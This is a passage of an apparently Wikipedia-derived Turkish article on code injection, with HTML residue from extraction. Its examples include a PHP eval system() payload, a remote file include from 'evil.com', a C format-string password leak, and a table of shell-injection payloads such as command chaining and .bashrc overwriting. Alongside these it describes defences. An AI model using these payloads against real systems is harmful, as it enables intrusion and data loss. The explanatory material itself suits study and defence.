eval parametresi PHP gibi islenecek boylece ek komutlar eklenebilir olacaktir Ornegin arg degeri span class mi 10 span span class p span span class nb system span span class p span span class s1 bin echo uh oh span span class p span olarak ayarlanirsa sunucu uzerinde bin echo dizininde bir program ek olarak calistirilir Nesne enjeksiyonu PHP tum nesnelerin serilestirilmesine ve serilestirmenin kaldirilmasina izin verir Seri durumdan cikarma fonksiyonunda guvenilmeyen girdilere izin verilirse programdaki mevcut siniflarin uzerine yazmak ve kotu niyetli saldirilar calistirmak mumkun olacaktir Bunun gibi bir saldiriyi 2013 yilinda Joomla da bulunmustur Uzaktan dosya enjeksiyonu Istek mesaji iceren bir PHP programi varsayalim lt php color blue if isset GET color color GET color require color php Bu ornek sadece blue php ve red php gibi okunabilir renk dosyalarini yukleyebilirken saldirganlar harici bir dosya yuklemeyi COLOR http evil com exploit ile saglayabilirler Format belirteci enjeksiyonu Format dizisi hatalari en yaygin olarak bir programcinin kullanici tarafindan girilen bir karakter dizisini yazdirmak istedigi zaman ortaya cikar Programci yanlislikla printf s buffer yerine printf buffer yazabilir Ilk versiyonda buffer bir karakter dizisi formatinda yorumlanir ve icerdigi herhangi bir formattaki komutlari cozumler Ikinci versiyonda buffer ekrana programcinin amacina uygun basitce karakter dizisi yazdirir Sifreyi yerel password karakter dizisinde tutan kisa bir C programi dusunelim Bu program kullanicidan bir tam sayi ve bir karakter dizisi ister Sonra kullanicinin sagladigi karakter dizisini disariya tekrarlar char user input 100 int int in char password 10 Password1 printf Enter an integer n scanf d amp int in printf Please enter a string n fgets user input sizeof user input stdin printf user input Safe version is printf s user input printf n return 0 Kullanici s s s s s s s gibi format belirtecleri kullanarak girdisini doldurursa printf komutu yigin stack dan okumaya baslayacaktir Sonunda s format belirteclerinden biri yigin uzerinde bulunan password adresine erisecektir ve ekrana Password1 yazdirir Kabuk enjeksiyonu Kabuk Shell enjeksiyonu komut enjeksiyonu Unix kabuklarindan sonra adlandirilir ancak yazilimin programli olarak komut satirindan calismasina izin verilen cogu sistemde uygulanabilir Ornegin savunmasiz tcsh komut dizisi bin tcsh check arg outputs it matches if arg is one if 1 1 echo it matches Yukaridakiler check calistirilabilir dosyasi icerisine saklanirsa check 1 evil kabuk komutu ile argumani sabit olanla karsilastirmak yerine enjekte edilen evil kabuk komutunu calistirmayi deneyecektir Burada saldiri altindaki kod parametreyi kontrol etmeye calisan koddur yani bir saldiriya karsi savunmak icin parametreyi dogruilamaya calisan koddur Bir kabuk komutu olusturma ve calistirmak icin kullanilabilecek herhangi bir fonksiyon bir kabuk enjeksiyon saldirisi baslatmak icin potansiyel bir aractir Bunlar arasinda system 24 Aralik 2021 tarihinde Wayback Machine sitesinde StartProcess ve System Diagnostics Process Start 6 Ocak 2018 tarihinde Wayback Machine sitesinde vardir Web sunuculari ile web tarayicilari etkilesimi gibi sunucu istemci sistemleri kabul enjeksiyonuna karsi potansiyel olarak savunmasizdir Kullanicinin gonderdigi bir kelimeyi baska bir kelimeyle degistirmek icin cagrilan harici funnytext programini calistirmak amaciyla bir web sunucusunda calistirilabilen asagidaki kisa PHP programini dusunelim lt php passthru bin funnytext GET USER INPUT Yukarida olusturulan bir kabuk komutu olan passthru sonra web sunucusu tarafinda yurutulur Olusturdugu komutun bir kismi web tarayicisi tarafindan saglanan URL den alindigindan bu URL in kotu amacli kabuk komutlari enjekte etmesine izin verir Cesitli kabuk ozelliklerinin soz diziminden yararlanilarak bu programa kod enjekte edilebilir bu liste ayrintili degildir Shell feature USER INPUT value Resulting shell command ExplanationSequential execution malicious command bin funnytext malicious command Executes funnytext then executes malicious command Pipelines malicious command malicious command Sends the output of funnytext as input to malicious command Command substitution malicious command bin funnytext malicious command Sends the output of malicious command as arguments to funnytext Command substitution malicious command bin funnytext malicious command Sends the output of malicious command as arguments to funnytext AND list amp amp malicious command bin funnytext amp amp malicious command Executes malicious command iff funnytext returns an exit status of 0 success OR list malicious command malicious command Executes malicious command iff funnytext returns a nonzero exit status error Output redirection gt bashrc bin funnytext gt bashrc Overwrites the contents the bashrc file with the output of funnytext Input redirection lt bashrc bin funnytext lt bashrc Sends the contents of the bashrc file as input to funnytext Bazi diller kabuk komutlarini olusturmak icin dogru bir sekilde kacilan ya da alinti yapilan karakter dizileri icin fonksiyonlar onerir PHP a rel nofollow class external text href http www php net manual en function escapeshellarg php escapeshellarg a ve a rel nofollow class external text href http www php net manual en function escapeshellcmd php escapeshellcmd a Python a rel nofollow class external text href https docs python org 3 library shlex html shlex quote shlex quote a Ancak bu durum programcilara bu fonksiyonlari bilme ogrenme ve kabuk komutlarini her kullandiklarinda bunlardan yararlanmayi hatirlama gorevi yukler Bu fonksiyonlarin kullanilmasina ek olarak kullanici girdisinin dogrulanmasi ve steril hale getirilmesi onerilir Daha guvenli bir alternatif ise harici programlari bir kabul yerine dogrudan calistiran API lar kullanmaktir boylece kabuk enjeksiyonunun olma ihtimalini onler Ancak bu API lar kabugun kolaylik saglayan cesitli ozelliklerini destekleme egiliminde degildirler ve veya kisa kabuk sozdizimlerine kiyasla daha hantal ayrintili olma egilimindedir Ayrica bakinizarabellek tasmasi hata ayiklama SQL enjeksiyonu Truva ati bilgisayar Kaynakca UPenn ISC Ingilizce 26 Mart 2020 3 Kasim 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 owasp org Ingilizce 17 Ocak 2020 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 nvd nist gov 15 Haziran 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 PDF web archive org 24 Nisan 2019 tarihinde kaynagindan PDF arsivlendi Erisim tarihi 26 Aralik 2021 Morales Jose Andre Kartaltepe Erhan Xu Shouhuai Sandhu Ravi 2010 Kotenko Igor Skormin Victor Ed Symptoms Based Detection of Bot Processes Computer Network Security Lecture Notes in Computer Science Ingilizce Berlin Heidelberg Springer 229 241 doi 10 1007 978 3 642 14706 7 18 ISBN 978 3 642 14706 7 25 Aralik 2021 tarihinde kaynagindan Erisim tarihi 25 Aralik 2021 Dynamic linker tricks Using LD PRELOAD to cheat inject features and investigate programs Rafal Cieslak s blog Ingilizce 2 Nisan 2013 25 Aralik 2021 tarihinde kaynagindan Erisim tarihi 26 Aralik 2021 docs oracle com 29 Kasim 2011 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 blog moertel com 3 Mart 2013 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 owasp org Ingilizce 19 Mart 2020 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 cheatsheetseries owasp org 16 Temmuz 2019 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 Philippaerts Pieter Younan Yves Muylle Stijn Piessens F Lachmund Sven Walter T 2013 CPM Masking Code Pointers to Prevent Code Injection Attacks TSEC doi 10 1145 2487222 2487223 25 Aralik 2021 tarihinde kaynagindan Erisim tarihi 25 Aralik 2021 Hope Paco Walther Ben 2008 Web security testing cookbook Ingilizce Sebastopol Calif O Reilly Media ISBN 978 0 596 51483 9 OCLC 297573828 olu kirik baglanti seclists org 13 Kasim 2009 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 www php net 29 Mart 2001 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 karmainsecurity com 2 Mart 2013 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 owasp org Ingilizce 24 Subat 2020 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 homepage divms uiowa edu 8 Ocak 2017 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 archive ph 27 Subat 2015 26 Aralik 2021 tarihinde kaynagindan arsivlendi Erisim tarihi 26 Aralik 2021 Dis baglantilarMakale Robert Kuster Makale A Danehkar Makale A Danehkar Makale by Tadeusz Pietraszek and Chris Vanden Berghe Yeni makale Guvenlik duvarindan algilanmayi onlemek icin kod enjeksiyonu kullanan ilk Truva ati The Daily WTF 11 Aralik 2020 tarihinde Wayback Machine sitesinde Yazilimda kod enjeksiyonuna karsi gercek dunyadaki duyarlilik olaylarini duzenli olarak raporlar